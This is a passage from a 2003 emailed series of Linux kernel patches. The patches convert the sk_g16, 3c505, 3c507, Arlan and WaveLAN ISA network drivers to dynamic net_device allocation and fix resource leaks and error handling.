/* we need ioaddr for accessing POS regs */ - - /* Check if I/O Port region is used by another board */ - - if (!request_region(ioaddr, ETHERCARD_TOTAL_SIZE, "sk_g16")) - { - continue; /* Try next Port address */ - } - - /* Check if at ioaddr is a SK_G16 */ - - if ( !(inb(SK_POS0) == SK_IDLOW) || - !(inb(SK_POS1) == SK_IDHIGH) ) - { - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - continue; /* Try next Port address */ - } - - dev->base_addr = ioaddr; /* Set I/O Port Address */ - - if (SK_probe(dev, ioaddr) == 0) - { - return 0; /* Card found and initialized */ - } - - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - } - - dev->base_addr = base_addr; /* Write back original base_addr */ - - return -ENODEV; /* Failed to find or init driver */ + return dev; } /* End of SK_init */ @@ -620,54 +604,22 @@ #ifdef MODULE -static int io; /* 0 == probe */ - static int __init SK_init_module (void) { - int rc; - - SK_dev = init_etherdev (NULL, 0); - if (!SK_dev) - return -ENOMEM; - - SK_dev->base_addr = io; - - rc = SK_init (SK_dev); - if (rc) { - unregister_netdev (SK_dev); - kfree (SK_dev); - SK_dev = NULL; - } - - return rc; + SK_dev = SK_init(-1); + return IS_ERR(SK_dev) ? PTR_ERR(SK_dev) : 0; } -#endif /* MODULE */ - static void __exit SK_cleanup_module (void) { - if (SK_dev) { - if (SK_dev->priv) { - kfree(SK_dev->priv); - SK_dev->priv = NULL; - } - unregister_netdev(SK_dev); - free_netdev(SK_dev); - SK_dev = NULL; - } - if (SK_ioaddr) { - release_region(SK_ioaddr, ETHERCARD_TOTAL_SIZE); - SK_ioaddr = 0; - } - + unregister_netdev(SK_dev); + release_region(SK_dev->base_addr, ETHERCARD_TOTAL_SIZE); + free_netdev(SK_dev); } - -#ifdef MODULE module_init(SK_init_module); -#endif module_exit(SK_cleanup_module); - +#endif /*- @@ -695,7 +647,11 @@ int sk_addr_flag = 0; /* SK ADDR correct? 1 - no, 0 - yes */ unsigned int rom_addr; /* used to store RAM address used for POS_ADDR */ - struct priv *p; /* SK_G16 private structure */ + struct priv *p = dev->priv; /* SK_G16 private structure */ + + if (inb(SK_POS0) != SK_IDLOW || inb(SK_POS1) != SK_IDHIGH) + return -ENODEV; + dev->base_addr = ioaddr; if (SK_ADDR & 0x3fff || SK_ADDR < 0xa0000) { @@ -837,12 +793,6 @@ dev->dev_addr[4], dev->dev_addr[5]); - /* Allocate memory for private structure */ - p = dev->priv = (void *) kmalloc(sizeof(struct priv), GFP_KERNEL); - if (p == NULL) { - printk("%s: ERROR - no memory for driver data!\n", dev->name); - return -ENOMEM; - } memset((char *) dev->priv, 0, sizeof(struct priv)); /* clear memory */ /* Assign our Device Driver functions */ @@ -856,10 +806,6 @@ dev->watchdog_timeo = HZ/7; - /* Set the generic fields of the device structure */ - - ether_setup(dev); - dev->flags &= ~IFF_MULTICAST; /* Initialize private structure */ @@ -884,12 +830,7 @@ SK_print_pos(dev, "End of SK_probe"); SK_print_ram(dev); #endif - - SK_dev = dev; - SK_ioaddr = ioaddr; - return 0; /* Initialization done */ - } /* End of SK_probe() */ @@ -1280,7 +1221,7 @@ memcpy_toio((tmdp->u.buffer & 0x00ffffff), skb->data, skb->len); if (len != skb->len) - memcpy_toio((tmdp->u.buffer & 0x00ffffff) + sb->len, pad, len-skb->len); + memcpy_toio((tmdp->u.buffer & 0x00ffffff) + skb->len, pad, len-skb->len); writew(-len, &tmdp->blen); /* set length to transmit */ --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="06-3c505.patch" Content-Disposition: attachment; filename="06-3c505.patch" Content-Transfer-Encoding: 7bit from viro NE18-3c505 * switched 3c505 to dynamic allocation * 3c505: embedded ->priv * 3c505: fixed use of uninitialized variable * 3c505: fixed resource leaks on failure exits Additional: * add free_netdev diff -Nru a/drivers/net/3c505.c b/drivers/net/3c505.c --- a/drivers/net/3c505.c Mon Sep 29 09:45:12 2003 +++ b/drivers/net/3c505.c Mon Sep 29 09:45:12 2003 @@ -1293,42 +1293,6 @@ } } -/****************************************************** - * - * initialise Etherlink Plus board - * - ******************************************************/ - -static inline void elp_init(struct net_device *dev) -{ - elp_device *adapter = dev->priv; - - /* - * set ptrs to various functions - */ - dev->open = elp_open; /* local */ - dev->stop = elp_close; /* local */ - dev->get_stats = elp_get_stats; /* local */ - dev->hard_start_xmit = elp_start_xmit; /* local */ - dev->tx_timeout = elp_timeout; /* local */ - dev->watchdog_timeo = 10*HZ; - dev->set_multicast_list = elp_set_mc_list; /* local */ - dev->ethtool_ops = &netdev_ethtool_ops; /* local */ - - /* Setup the generic properties */ - ether_setup(dev); - - /* - * setup ptr to adapter specific information - */ - memset(&(adapter->stats), 0, sizeof(struct net_device_stats)); - - /* - * memory information - */ - dev->mem_start = dev->mem_end = 0; -} - /************************************************************ * * A couple of tests to see if there's 3C505 or not @@ -1442,12 +1406,13 @@ * work at all if it was in a weird state). */ -int __init elplus_probe(struct net_device *dev) +static int __init elplus_setup(struct net_device *dev) { - elp_device *adapter; + elp_device *adapter = dev->priv; int i, tries, tries1, okay; unsigned long timeout; unsigned long cookie = 0; + int err = -ENODEV; SET_MODULE_OWNER(dev); @@ -1456,17 +1421,8 @@ */ dev->base_addr = elp_autodetect(dev); - if (!(dev->base_addr)) - return -ENODEV; - - /* - * setup ptr to adapter specific information - */ - adapter = (elp_device *) (dev->priv = kmalloc(sizeof(elp_device), GFP_KERNEL)); - if (adapter == NULL) { - printk(KERN_ERR "%s: out of memory\n", dev->name); + if (!dev->base_addr) return -ENODEV; - } adapter->send_pcb_semaphore = 0; @@ -1544,8 +1500,7 @@ outb_control(adapter->hcr_val & ~(FLSH | ATTN), dev); } printk(KERN_ERR "%s: failed to initialise 3c505\n", dev->name); - release_region(dev->base_addr, ELP_IO_EXTENT); - return -ENODEV; + goto out; okay: if (dev->irq) { /* Is there a preset IRQ? */ @@ -1560,14 +1515,14 @@ case 0: printk(KERN_ERR "%s: IRQ probe failed: check 3c505 jumpers.\n", dev->name); - return -ENODEV; + goto out; case 1: case 6: case 8: case 13: printk(KERN_ERR "%s: Impossible IRQ %d reported by probe_irq_off().\n", dev->name, dev->irq); - return -ENODEV; + goto out; } /* * Now we have the IRQ number so we can disable the interrupts from @@ -1636,16 +1591,48 @@ printk(KERN_ERR "%s: adapter configuration failed\n", dev->name); } - /* - * initialise the device - */ - elp_init(dev); + dev->open = elp_open; /* local */ + dev->stop = elp_close; /* local */ + dev->get_stats = elp_get_stats; /* local */ + dev->hard_start_xmit = elp_start_xmit; /* local */ + dev->tx_timeout = elp_timeout; /* local */ + dev->watchdog_timeo = 10*HZ; + dev->set_multicast_list = elp_set_mc_list; /* local */ + dev->ethtool_ops = &netdev_ethtool_ops; /* local */ + + memset(&(adapter->stats), 0, sizeof(struct net_device_stats)); + dev->mem_start = dev->mem_end = 0; + + err = register_netdev(dev); + if (err) + goto out; return 0; +out: + release_region(dev->base_addr, ELP_IO_EXTENT); + return err; +} + +struct net_device * __init elplus_probe(int unit) +{ + struct net_device *dev = alloc_etherdev(sizeof(elp_device)); + int err; + if (!dev) + return ERR_PTR(-ENOMEM); + + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + + err = elplus_setup(dev); + if (err) { + free_netdev(dev); + return ERR_PTR(err); + } + return dev; } #ifdef MODULE -static struct net_device dev_3c505[ELP_MAX_CARDS]; +static struct net_device *dev_3c505[ELP_MAX_CARDS]; static int io[ELP_MAX_CARDS]; static int irq[ELP_MAX_CARDS]; static int dma[ELP_MAX_CARDS]; @@ -1661,10 +1648,12 @@ int this_dev, found = 0; for (this_dev = 0; this_dev < ELP_MAX_CARDS; this_dev++) { - struct net_device *dev = &dev_3c505[this_dev]; + struct net_device *dev = alloc_etherdev(sizeof(elp_device)); + if (!dev) + break; + dev->irq = irq[this_dev]; dev->base_addr = io[this_dev]; - dev->init = elplus_probe; if (dma[this_dev]) { dev->dma = dma[this_dev]; } else { @@ -1672,16 +1661,22 @@ printk(KERN_WARNING "3c505.c: warning, using default DMA channel,\n"); } if (io[this_dev] == 0) { - if (this_dev) break; + if (this_dev) { + free_netdev(dev); + break; + } printk(KERN_NOTICE "3c505.c: module autoprobe not recommended, give io=xx.\n"); } - if (register_netdev(dev) != 0) { + if (elplus_setup(dev) != 0) { printk(KERN_WARNING "3c505.c: Failed to register card at 0x%x.\n", io[this_dev]); - if (found != 0) return 0; - return -ENXIO; + free_netdev(dev); + break; } + dev_3c505[this_dev] = dev; found++; } + if (!found) + return -ENODEV; return 0; } @@ -1690,12 +1685,11 @@ int this_dev; for (this_dev = 0; this_dev < ELP_MAX_CARDS; this_dev++) { - struct net_device *dev = &dev_3c505[this_dev]; - if (dev->priv != NULL) { + struct net_device *dev = dev_3c505[this_dev]; + if (dev) { unregister_netdev(dev); - kfree(dev->priv); - dev->priv = NULL; release_region(dev->base_addr, ELP_IO_EXTENT); + free_netdev(dev); } } } diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 09:45:12 2003 +++ b/drivers/net/Space.c Mon Sep 29 09:45:12 2003 @@ -63,7 +63,7 @@ extern int el16_probe(struct net_device *); extern int elmc_probe(struct net_device *); extern int skmca_probe(struct net_device *); -extern int elplus_probe(struct net_device *); +extern struct net_device *elplus_probe(int unit); extern int ac3200_probe(struct net_device *); extern int es_probe(struct net_device *); extern int lne390_probe(struct net_device *); @@ -274,13 +274,13 @@ #ifdef CONFIG_EL16 /* 3c507 */ {el16_probe, 0}, #endif -#ifdef CONFIG_ELPLUS /* 3c505 */ - {elplus_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_ELPLUS /* 3c505 */ + {elplus_probe, 0}, +#endif #ifdef CONFIG_SK_G16 {SK_init, 0}, #endif --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="07-3c507.patch" Content-Disposition: attachment; filename="07-3c507.patch" Content-Transfer-Encoding: 7bit from viro NE19-3c507 * switched 3c507 to dynamic allocation * 3c507: embedded ->priv * 3c507: fixed clobbering on autoprobe * NB: 3c507.c buggers port 0x100 without claiming it. Most likely it should be doing request_region() there. Additional: * fix port probing loop and correct error return on no device * add free_netdev diff -Nru a/drivers/net/3c507.c b/drivers/net/3c507.c --- a/drivers/net/3c507.c Mon Sep 29 09:45:32 2003 +++ b/drivers/net/3c507.c Mon Sep 29 09:45:32 2003 @@ -74,10 +74,6 @@ #define debug net_debug -/* A zero-terminated list of common I/O addresses to be probed. */ -static unsigned int netcard_portlist[] __initdata = - { 0x300, 0x320, 0x340, 0x280, 0}; - /* Details of the i82586. @@ -286,8 +282,6 @@ /* Index to functions, as function prototypes. */ -extern int el16_probe(struct net_device *dev); /* Called from Space.c */ - static int el16_probe1(struct net_device *dev, int ioaddr); static int el16_open(struct net_device *dev); static int el16_send_packet(struct sk_buff *skb, struct net_device *dev); @@ -301,6 +295,9 @@ static void init_82586_mem(struct net_device *dev); static struct ethtool_ops netdev_ethtool_ops; +static int io = 0x300; +static int mem_start; + /* Check for a network adaptor of this type, and return '0' iff one exists. If dev->base_addr == 0, probe all likely locations. @@ -309,23 +306,49 @@ device and return success. */ -int __init el16_probe(struct net_device *dev) +struct net_device * __init el16_probe(int unit) { - int base_addr = dev->base_addr; - int i; + struct net_device *dev = alloc_etherdev(sizeof(struct net_local)); + static unsigned ports[] = { 0x300, 0x320, 0x340, 0x280, 0}; + unsigned *port; + int err = -ENODEV; + + if (!dev) + return ERR_PTR(-ENODEV); + + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + mem_start = dev->mem_start & 15; + } SET_MODULE_OWNER(dev); - if (base_addr > 0x1ff) /* Check a single specified location. */ - return el16_probe1(dev, base_addr); - else if (base_addr != 0) - return -ENXIO; /* Don't probe at all. */ - - for (i = 0; netcard_portlist[i]; i++) - if (el16_probe1(dev, netcard_portlist[i]) == 0) - return 0; + if (io > 0x1ff) /* Check a single specified location. */ + err = el16_probe1(dev, io); + else if (io != 0) + err = -ENXIO; /* Don't probe at all. */ + else { + for (port = ports; *port; port++) { + err = el16_probe1(dev, io); + if (!err) + break; + } + } - return -ENODEV; + if (err) + goto out; + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + free_irq(dev->irq, dev); + release_region(dev->base_addr, EL16_IO_EXTENT); +out: + free_netdev(dev); + return ERR_PTR(err); } static int __init el16_probe1(struct net_device *dev, int ioaddr) @@ -383,8 +406,8 @@ printk(" %02x", dev->dev_addr[i]); } - if ((dev->mem_start & 0xf) > 0) - net_debug = dev->mem_start & 7; + if (mem_start) + net_debug = mem_start & 7; #ifdef MEM_BASE dev->mem_start = MEM_BASE; @@ -416,27 +439,18 @@ if (net_debug) printk(version); - /* Initialize the device structure. */ - lp = dev->priv = kmalloc(sizeof(struct net_local), GFP_KERNEL); - if (dev->priv == NULL) { - retval = -ENOMEM; - goto out; - } - memset(dev->priv, 0, sizeof(struct net_local)); + lp = dev->priv; + memset(lp, 0, sizeof(*lp)); spin_lock_init(&lp->lock); - dev->open = el16_open; - dev->stop = el16_close; + dev->open = el16_open; + dev->stop = el16_close; dev->hard_start_xmit = el16_send_packet; dev->get_stats = el16_get_stats; dev->tx_timeout = el16_tx_timeout; dev->watchdog_timeo = TX_TIMEOUT; dev->ethtool_ops = &netdev_ethtool_ops; - - ether_setup(dev); /* Generic ethernet behaviour */ - - dev->flags&=~IFF_MULTICAST; /* Multicast doesn't work */ - + dev->flags &= ~IFF_MULTICAST; /* Multicast doesn't work */ return 0; out: release_region(ioaddr, EL16_IO_EXTENT); @@ -899,8 +913,7 @@ }; #ifdef MODULE -static struct net_device dev_3c507; -static int io = 0x300; +static struct net_device *dev_3c507; static int irq; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); @@ -911,26 +924,18 @@ { if (io == 0) printk("3c507: You should not use auto-probing with insmod!\n"); - dev_3c507.base_addr = io; - dev_3c507.irq = irq; - dev_3c507.init = el16_probe; - if (register_netdev(&dev_3c507) != 0) { - printk("3c507: register_netdev() returned non-zero.\n"); - return -EIO; - } - return 0; + dev_3c507 = el16_probe(-1); + return IS_ERR(dev_3c507) ? PTR_ERR(dev_3c507) : 0; } void cleanup_module(void) { - unregister_netdev(&dev_3c507); - kfree(dev_3c507.priv); - dev_3c507.priv = NULL; - - /* If we don't do this, we can't re-insmod it later. */ - free_irq(dev_3c507.irq, &dev_3c507); - release_region(dev_3c507.base_addr, EL16_IO_EXTENT); + struct net_device *dev = dev_3c507; + unregister_netdev(dev); + free_irq(dev->irq, dev); + release_region(dev->base_addr, EL16_IO_EXTENT); + free_netdev(dev); } #endif /* MODULE */ MODULE_LICENSE("GPL"); diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 09:45:32 2003 +++ b/drivers/net/Space.c Mon Sep 29 09:45:32 2003 @@ -60,7 +60,7 @@ extern int el1_probe(struct net_device *); extern int wavelan_probe(struct net_device *); extern int arlan_probe(struct net_device *); -extern int el16_probe(struct net_device *); +extern struct net_device *el16_probe(int unit); extern int elmc_probe(struct net_device *); extern int skmca_probe(struct net_device *); extern struct net_device *elplus_probe(int unit); @@ -271,13 +271,13 @@ #ifdef CONFIG_ARLAN /* Aironet */ {arlan_probe, 0}, #endif -#ifdef CONFIG_EL16 /* 3c507 */ - {el16_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_EL16 /* 3c507 */ + {el16_probe, 0}, +#endif #ifdef CONFIG_ELPLUS /* 3c505 */ {elplus_probe, 0}, #endif --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="08-arlan.patch" Content-Disposition: attachment; filename="08-arlan.patch" Content-Transfer-Encoding: 7bit Completed work started by NE20-arlan-TODO * allocate network device * probe only once and do it right * handle probes > MAX_ARLAN * use request_mem_region * proper error unwinds. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 10:18:17 2003 +++ b/drivers/net/Space.c Mon Sep 29 10:18:17 2003 @@ -59,7 +59,7 @@ extern int ewrk3_probe(struct net_device *); extern int el1_probe(struct net_device *); extern int wavelan_probe(struct net_device *); -extern int arlan_probe(struct net_device *); +extern struct net_device *arlan_probe(int unit); extern struct net_device *el16_probe(int unit); extern int elmc_probe(struct net_device *); extern int skmca_probe(struct net_device *); @@ -268,13 +268,13 @@ #ifdef CONFIG_WAVELAN /* WaveLAN */ {wavelan_probe, 0}, #endif -#ifdef CONFIG_ARLAN /* Aironet */ - {arlan_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_ARLAN /* Aironet */ + {arlan_probe, 0}, +#endif #ifdef CONFIG_EL16 /* 3c507 */ {el16_probe, 0}, #endif diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- a/drivers/net/wireless/arlan-main.c Mon Sep 29 10:18:17 2003 +++ b/drivers/net/wireless/arlan-main.c Mon Sep 29 10:18:17 2003 @@ -20,9 +20,7 @@ static int SID = SIDUNKNOWN; static int radioNodeId = radioNodeIdUNKNOWN; static char encryptionKey[12] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'}; -static int mem = memUNKNOWN; int arlan_debug = debugUNKNOWN; -static int numDevices = numDevicesUNKNOWN; static int spreadingCode = spreadingCodeUNKNOWN; static int channelNumber = channelNumberUNKNOWN; static int channelSet = channelSetUNKNOWN; @@ -46,9 +44,7 @@ MODULE_PARM(irq, "i"); MODULE_PARM(mem, "i"); -MODULE_PARM(probe, "i"); MODULE_PARM(arlan_debug, "i"); -MODULE_PARM(numDevices, "i"); MODULE_PARM(testMemory, "i"); MODULE_PARM(spreadingCode, "i"); MODULE_PARM(channelNumber, "i"); @@ -70,9 +66,7 @@ MODULE_PARM(arlan_EEPROM_bad, "i"); MODULE_PARM_DESC(irq, "(unused)"); MODULE_PARM_DESC(mem, "Arlan memory address for single device probing"); -MODULE_PARM_DESC(probe, "Arlan probe at initialization (0-1)"); MODULE_PARM_DESC(arlan_debug, "Arlan debug enable (0-1)"); -MODULE_PARM_DESC(numDevices, "Number of Arlan devices; ignored if >1"); MODULE_PARM_DESC(testMemory, "(unused)"); MODULE_PARM_DESC(mdebug, "Arlan multicast debugging (0-1)"); MODULE_PARM_DESC(retries, "Arlan maximum packet retransmisions"); @@ -89,7 +83,6 @@ struct arlan_conf_stru arlan_conf[MAX_ARLANS]; static int arlans_found; -static int arlan_probe_here(struct net_device *dev, int ioaddr); static int arlan_open(struct net_device *dev); static int arlan_tx(struct sk_buff *skb, struct net_device *dev); static irqreturn_t arlan_interrupt(int irq, void *dev_id, struct pt_regs *regs); @@ -976,24 +969,27 @@ * probes on the ISA bus. A good device probes avoids doing writes, and * verifies that the correct device exists and functions. */ - -static int __init arlan_check_fingerprint(int memaddr) +#define ARLAN_SHMEM_SIZE 0x2000 +static int __init arlan_check_fingerprint(unsigned long memaddr) { - static char probeText[] = "TELESYSTEM SLW INC. ARLAN \0"; - char tempBuf[49]; + static const char probeText[] = "TELESYSTEM SLW INC. ARLAN \0"; volatile struct arlan_shmem *arlan = (struct arlan_shmem *) memaddr; + unsigned long paddr = virt_to_phys((void *) memaddr); + char tempBuf[49]; ARLAN_DEBUG_ENTRY("arlan_check_fingerprint"); - if (check_mem_region(virt_to_phys((void *)memaddr),0x2000 )){ - // printk(KERN_WARNING "arlan: memory region %lx excluded from probing \n",virt_to_phys((void*)memaddr)); + + if (!request_mem_region(paddr, ARLAN_SHMEM_SIZE, "arlan")) { + // printk(KERN_WARNING "arlan: memory region %lx excluded from probing \n",paddr); return -ENODEV; } + memcpy_fromio(tempBuf, arlan->textRegion, 29); tempBuf[30] = 0; /* check for card at this address */ if (0 != strncmp(tempBuf, probeText, 29)){ -// not release_mem_region(virt_to_phys((void*)memaddr),0x2000); + release_mem_region(paddr, ARLAN_SHMEM_SIZE); return -ENODEV; } @@ -1001,51 +997,8 @@ ARLAN_DEBUG_EXIT("arlan_check_fingerprint"); return 0; - - -} - -static int __init arlan_probe_everywhere(struct net_device *dev) -{ - int m; - int probed = 0; - int found = 0; - - SET_MODULE_OWNER(dev); - - ARLAN_DEBUG_ENTRY("arlan_probe_everywhere"); - if (mem != 0 && numDevices == 1) /* Check a single specified location. */ - { - if (arlan_probe_here(dev, (int) phys_to_virt( mem) ) == 0) - return 0; - else - return -ENODEV; - } - for (m = (int)phys_to_virt(lastFoundAt) + 0x2000; m <= (int)phys_to_virt(0xDE000); m += 0x2000) - { - if (arlan_probe_here(dev, m) == 0) - { - found++; - lastFoundAt = (int)virt_to_phys((void*)m); - break; - } - probed++; - } - if (found == 0 && probed != 0) - { - if (lastFoundAt == 0xbe000) - printk(KERN_ERR "arlan: No Arlan devices found \n"); - return -ENODEV; - } - else - return 0; - - ARLAN_DEBUG_EXIT("arlan_probe_everywhere"); - - return -ENODEV; } - static int arlan_change_mtu(struct net_device *dev, int new_mtu) { struct arlan_private *priv = dev->priv; @@ -1086,47 +1039,14 @@ - -static int __init - arlan_allocate_device(int num, struct net_device *devs) +static void __init arlan_setup_device(struct net_device *dev, int num) { + struct arlan_private *ap = dev->priv; - struct net_device *dev; - struct arlan_private *ap; + ARLAN_DEBUG_ENTRY("arlan_setup_device"); - ARLAN_DEBUG_ENTRY("arlan_allocate_device"); + ap->conf = (struct arlan_shmem *)(ap+1); - if (!devs) { - dev = init_etherdev(0, sizeof(struct arlan_private) + sizeof(struct arlan_shmem)); - if (!dev) { - printk(KERN_ERR "ARLAN: init_etherdev failed\n"); - return 0; - } - ap = dev->priv; - ap->conf = dev->priv + sizeof(struct arlan_private); - ap->init_etherdev_alloc = 1; - } else { - dev = devs; - dev->priv = kmalloc(sizeof(struct arlan_private) + sizeof(struct arlan_shmem), GFP_KERNEL); - if (!dev->priv) { - printk(KERN_ERR "ARLAN: kmalloc of dev->priv failed\n"); - return 0; - } - ap = dev->priv; - ap->conf = dev->priv + sizeof(struct arlan_private); - memset(ap, 0, sizeof(*ap)); - } - - /* Fill in the 'dev' fields. */ - dev->base_addr = 0; - dev->mem_start = 0; - dev->mem_end = 0; - dev->mtu = 1500; - dev->flags = 0; /* IFF_BROADCAST & IFF_MULTICAST & IFF_PROMISC; */ - dev->irq = 0; - dev->dma = 0; - dev->tx_queue_len = tx_queue_len; - ether_setup(dev); dev->tx_queue_len = tx_queue_len; dev->open = arlan_open; dev->stop = arlan_close; @@ -1146,34 +1066,29 @@ ap->Conf->rx_tweak1 = 30; ap->Conf->rx_tweak2 = 0; - ARLAN_DEBUG_EXIT("arlan_allocate_device"); - return (int) dev; + ARLAN_DEBUG_EXIT("arlan_setup_device"); } - -static int __init arlan_probe_here(struct net_device *dev, int memaddr) +static int __init arlan_probe_here(struct net_device *dev, + unsigned long memaddr) { - volatile struct arlan_shmem *arlan; + struct arlan_private *ap = dev->priv; ARLAN_DEBUG_ENTRY("arlan_probe_here"); if (arlan_check_fingerprint(memaddr)) return -ENODEV; - printk(KERN_NOTICE "%s: Arlan found at %x, \n ", dev->name, (int) virt_to_phys((void*)memaddr)); - - if (!arlan_allocate_device(arlans_found, dev)) - return -1; - - ((struct arlan_private *) dev->priv)->card = (struct arlan_shmem *) memaddr; - arlan = (void *) memaddr; + printk(KERN_NOTICE "%s: Arlan found at %x, \n ", dev->name, + (int) virt_to_phys((void*)memaddr)); + ap->card = (void *) memaddr; dev->mem_start = memaddr; - dev->mem_end = memaddr + 0x1FFF; + dev->mem_end = memaddr + ARLAN_SHMEM_SIZE-1; if (dev->irq < 2) { - READSHM(dev->irq, arlan->irqLevel, u_char); + READSHM(dev->irq, ap->card->irqLevel, u_char); } else if (dev->irq == 2) dev->irq = 9; @@ -1184,8 +1099,6 @@ } - - static int arlan_open(struct net_device *dev) { struct arlan_private *priv = dev->priv; @@ -1194,12 +1107,6 @@ ARLAN_DEBUG_ENTRY("arlan_open"); - if (dev->mem_start == 0) - ret = arlan_probe_everywhere(dev); - if (ret != 0) - return ret; - - arlan = priv->card; ret = request_irq(dev->irq, &arlan_interrupt, 0, dev->name, dev); if (ret) { @@ -1769,14 +1676,9 @@ { struct arlan_private *priv = dev->priv; - if (!priv) - { - printk(KERN_CRIT "arlan: No Device priv \n"); - return 0; - } ARLAN_DEBUG_ENTRY("arlan_close"); - del_timer(&priv->timer); + del_timer_sync(&priv->timer); arlan_command(dev, ARLAN_COMMAND_POWERDOWN); @@ -1868,39 +1770,68 @@ } -int __init arlan_probe(struct net_device *dev) +struct net_device * __init arlan_probe(int unit) { - printk("Arlan driver %s\n", arlan_version); + struct net_device *dev; + int m; - if (arlan_probe_everywhere(dev)) - return -ENODEV; + ARLAN_DEBUG_ENTRY("arlan_probe"); - arlans_found++; - return 0; -} + if (arlans_found == MAX_ARLANS) + return ERR_PTR(-ENODEV); -#ifdef MODULE + /* + * Reserve space for local data and a copy of the shared memory + * that is used by the /proc interface. + */ + dev = alloc_etherdev(sizeof(struct arlan_private) + + sizeof(struct arlan_shmem)); + if (!dev) + return ERR_PTR(-ENOMEM); -static int probe = probeUNKNOWN; + SET_MODULE_OWNER(dev); -static int __init arlan_find_devices(void) -{ - int m; - int found = 0; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + + if (dev->mem_start) { + if (arlan_probe_here(dev, dev->mem_start) == 0) + goto found; + goto not_found; + } + + } - ARLAN_DEBUG_ENTRY("arlan_find_devices"); - if (mem != 0 && numDevices == 1) /* Check a single specified location. */ - return 1; - for (m =(int) phys_to_virt(0xc0000); m <=(int) phys_to_virt(0xDE000); m += 0x2000) + + for (m = (int)phys_to_virt(lastFoundAt) + ARLAN_SHMEM_SIZE; + m <= (int)phys_to_virt(0xDE000); + m += ARLAN_SHMEM_SIZE) { - if (arlan_check_fingerprint(m) == 0) - found++; + if (arlan_probe_here(dev, m) == 0) + { + lastFoundAt = (int)virt_to_phys((void*)m); + goto found; + } + } + + if (lastFoundAt == 0xbe000) + printk(KERN_ERR "arlan: No Arlan devices found \n"); + + not_found: + free_netdev(dev); + return ERR_PTR(-ENODEV); + + found: + arlan_setup_device(dev, arlans_found++); + if (arlans_found == 1) { + printk(KERN_INFO "Arlan driver %s\n", arlan_version); } - ARLAN_DEBUG_EXIT("arlan_find_devices"); - return found; + return dev; } +#ifdef MODULE int init_module(void) { int i = 0; @@ -1910,21 +1841,15 @@ if (channelSet != channelSetUNKNOWN || channelNumber != channelNumberUNKNOWN || systemId != systemIdUNKNOWN) return -EINVAL; - numDevices = arlan_find_devices(); - if (numDevices == 0) - return -ENODEV; - - for (i = 0; i < numDevices && i < MAX_ARLANS; i++) + for (i = 0; i < MAX_ARLANS; i++) { - if (!arlan_allocate_device(i, NULL)) - return -ENOMEM; - - if (arlan_device[i] == NULL) - return -ENOMEM; + dev = arlan_probe(i); - if (probe) - arlan_probe_everywhere(arlan_device[i]); -// arlan_command(arlan_device[i], ARLAN_COMMAND_POWERDOWN ); + if (IS_ERR(dev)) { + if (arlans_found == 0) + break; + return PTR_ERR(dev); + } } init_arlan_proc(); printk(KERN_INFO "Arlan driver %s\n", arlan_version); @@ -1936,7 +1861,7 @@ void cleanup_module(void) { int i = 0; - struct arlan_private *ap; + struct net_device *dev; ARLAN_DEBUG_ENTRY("cleanup_module"); @@ -1947,22 +1872,19 @@ for (i = 0; i < MAX_ARLANS; i++) { - if (arlan_device[i]) + dev = arlan_device[i]; + if (dev) { - arlan_command(arlan_device[i], ARLAN_COMMAND_POWERDOWN ); + arlan_command(dev, ARLAN_COMMAND_POWERDOWN ); -// release_mem_region(virt_to_phys(arlan_device[i]->mem_start), 0x2000 ); - unregister_netdev(arlan_device[i]); - ap = arlan_device[i]->priv; - if (ap->init_etherdev_alloc) { - free_netdev(arlan_device[i]); - arlan_device[i] = NULL; - } else { - kfree(ap); - ap = NULL; - } + unregister_netdev(dev); + release_mem_region(virt_to_phys(dev->mem_start), + ARLAN_MEM_SIZE); + free_netdev(dev); + arlan_device[i] = NULL; } } + ARLAN_DEBUG_EXIT("cleanup_module"); } --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="09-wavelan.patch" Content-Disposition: attachment; filename="09-wavelan.patch" Content-Transfer-Encoding: 7bit From viro NE21-wavelan * switched wavelan to dynamic allocation * wavelan: embedded ->priv * wavelan: fixed clobbering on autoprobe * wavelan: fixed IO before request_region() * wavelan: fixed resource leaks on failure exits * wavelan: fixed order of freeing bugs Additional: * use free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 10:19:07 2003 +++ b/drivers/net/Space.c Mon Sep 29 10:19:07 2003 @@ -58,7 +58,7 @@ extern int i82596_probe(struct net_device *); extern int ewrk3_probe(struct net_device *); extern int el1_probe(struct net_device *); -extern int wavelan_probe(struct net_device *); +extern struct net_device *wavelan_probe(int unit); extern struct net_device *arlan_probe(int unit); extern struct net_device *el16_probe(int unit); extern int elmc_probe(struct net_device *); @@ -265,13 +265,13 @@ #ifdef CONFIG_EL1 /* 3c501 */ {el1_probe, 0}, #endif -#ifdef CONFIG_WAVELAN /* WaveLAN */ - {wavelan_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_WAVELAN /* WaveLAN */ + {wavelan_probe, 0}, +#endif #ifdef CONFIG_ARLAN /* Aironet */ {arlan_probe, 0}, #endif diff -Nru a/drivers/net/wireless/arlan.h 